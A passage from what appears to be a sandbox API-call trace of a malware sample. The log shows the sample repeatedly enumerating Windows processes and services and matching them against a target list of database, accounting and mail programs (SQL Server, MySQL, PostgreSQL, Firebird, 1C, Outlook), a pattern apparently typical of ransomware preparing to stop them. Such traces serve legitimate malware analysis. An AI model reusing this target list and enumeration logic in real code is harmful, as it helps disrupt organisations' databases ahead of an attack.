lpString2="UxSms") returned -1 [0147.492] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0147.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0147.492] lstrlenW (lpString="WdiServiceHost") returned 14 [0147.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0147.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0147.492] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0147.492] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0147.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0147.492] lstrlenW (lpString="WdiSystemHost") returned 13 [0147.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0147.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0147.492] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0147.492] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0147.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0147.492] lstrlenW (lpString="Winmgmt") returned 7 [0147.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0147.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0147.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0147.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0147.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0147.493] lstrlenW (lpString="WPDBusEnum") returned 10 [0147.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0147.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0147.493] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0147.493] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0147.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0147.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41c32b0 | out: hHeap=0x300000) returned 1 [0147.493] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0147.495] Process32FirstW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.496] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0147.496] lstrlenW (lpString="System") returned 6 [0147.496] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0147.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0147.496] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0147.496] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0147.496] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0147.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0147.496] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0147.496] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0147.497] lstrlenW (lpString="smss.exe") returned 8 [0147.497] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0147.497] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0147.497] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0147.497] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0147.497] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0147.497] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0147.497] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0147.497] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.498] lstrlenW (lpString="csrss.exe") returned 9 [0147.498] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0147.498] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0147.498] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0147.498] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0147.498] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0147.498] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0147.498] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0147.498] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0147.498] lstrlenW (lpString="wininit.exe") returned 11 [0147.498] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0147.499] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0147.499] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0147.499] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0147.499] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0147.499] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0147.499] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0147.499] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.499] lstrlenW (lpString="csrss.exe") returned 9 [0147.499] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0147.499] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0147.499] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0147.499] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0147.499] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0147.499] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0147.499] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0147.499] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0147.500] lstrlenW (lpString="winlogon.exe") returned 12 [0147.500] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0147.500] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0147.500] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0147.500] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0147.500] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0147.501] lstrlenW (lpString="services.exe") returned 12 [0147.501] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0147.501] lstrlenW (lpString="lsass.exe") returned 9 [0147.501] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0147.501] lstrlenW (lpString="lsm.exe") returned 7 [0147.502] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.502] lstrlenW (lpString="svchost.exe") returned 11 [0147.502] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.502] lstrlenW (lpString="svchost.exe") returned 11 [0147.502] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.503] lstrlenW (lpString="svchost.exe") returned 11 [0147.503] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.503] lstrlenW (lpString="svchost.exe") returned 11 [0147.503] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.504] lstrlenW (lpString="svchost.exe") returned 11 [0147.504] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0147.504] lstrlenW (lpString="audiodg.exe") returned 11 [0147.504] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.504] lstrlenW (lpString="svchost.exe") returned 11 [0147.505] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.505] lstrlenW (lpString="svchost.exe") returned 11 [0147.505] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0147.505] lstrlenW (lpString="spoolsv.exe") returned 11 [0147.505] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0147.506] lstrlenW (lpString="taskhost.exe") returned 12 [0147.506] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.506] lstrlenW (lpString="svchost.exe") returned 11 [0147.506] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0147.507] lstrlenW (lpString="userinit.exe") returned 12 [0147.507] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0147.507] lstrlenW (lpString="dwm.exe") returned 7 [0147.507] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0147.507] lstrlenW (lpString="explorer.exe") returned 12 [0147.508] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0147.508] lstrlenW (lpString="3G6885.exe") returned 10 [0147.508] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0147.508] lstrlenW (lpString="reader_sl.exe") returned 13 [0147.508] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0147.509] lstrlenW (lpString="drvinst.exe") returned 11 [0147.509] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0147.509] lstrlenW (lpString="taskhost.exe") returned 12 [0147.509] Process32NextW (in: hSnapshot=0x354, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0147.510] CloseHandle (hObject=0x354) returned 1 [0147.510] Sleep (dwMilliseconds=0x1f4) [0148.378] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8950 [0148.378] EnumServicesStatusExW (in: hSCManager=0x41d8950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0148.378] GetLastError () returned 0xea [0148.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x113e) returned 0x41f77d0 [0148.379] EnumServicesStatusExW (in: hSCManager=0x41d8950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x113e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0148.379] CloseServiceHandle (hSCObject=0x41d8950) returned 1 [0148.379] lstrlenW (lpString="Appinfo") returned 7 [0148.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0148.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0148.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0148.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0148.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0148.380] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0148.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0148.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0148.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0148.380] lstrlenW (lpString="AudioSrv") returned 8 [0148.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0148.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0148.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0148.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0148.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0148.380] lstrlenW (lpString="BFE") returned 3 [0148.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0148.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0148.380] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0148.380] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0148.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0148.380] lstrlenW (lpString="CryptSvc") returned 8 [0148.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0148.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0148.380] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0148.380] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0148.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0148.380] lstrlenW (lpString="CscService") returned 10 [0148.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0148.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0148.380] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0148.380] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0148.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0148.380] lstrlenW (lpString="DcomLaunch") returned 10 [0148.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.381] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0148.381] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0148.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0148.381] lstrlenW (lpString="Dhcp") returned 4 [0148.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0148.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0148.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0148.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0148.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0148.381] lstrlenW (lpString="Dnscache") returned 8 [0148.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0148.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0148.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0148.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0148.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0148.381] lstrlenW (lpString="DPS") returned 3 [0148.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0148.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0148.381] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0148.381] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0148.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0148.381] lstrlenW (lpString="eventlog") returned 8 [0148.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0148.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0148.381] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0148.381] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0148.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0148.381] lstrlenW (lpString="EventSystem") returned 11 [0148.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0148.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0148.381] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0148.382] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0148.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0148.382] lstrlenW (lpString="gpsvc") returned 5 [0148.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0148.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0148.382] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0148.382] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0148.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0148.382] lstrlenW (lpString="iphlpsvc") returned 8 [0148.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0148.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0148.382] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0148.382] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0148.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0148.382] lstrlenW (lpString="LanmanServer") returned 12 [0148.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0148.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0148.382] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0148.382] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0148.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0148.382] lstrlenW (lpString="LanmanWorkstation") returned 17 [0148.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.382] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0148.382] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0148.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0148.382] lstrlenW (lpString="lmhosts") returned 7 [0148.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0148.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0148.382] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0148.382] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0148.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0148.382] lstrlenW (lpString="MMCSS") returned 5 [0148.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0148.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0148.383] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0148.383] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0148.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0148.383] lstrlenW (lpString="MpsSvc") returned 6 [0148.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0148.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0148.383] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0148.383] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0148.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0148.383] lstrlenW (lpString="Netman") returned 6 [0148.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0148.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0148.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0148.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0148.383] lstrcmpiW 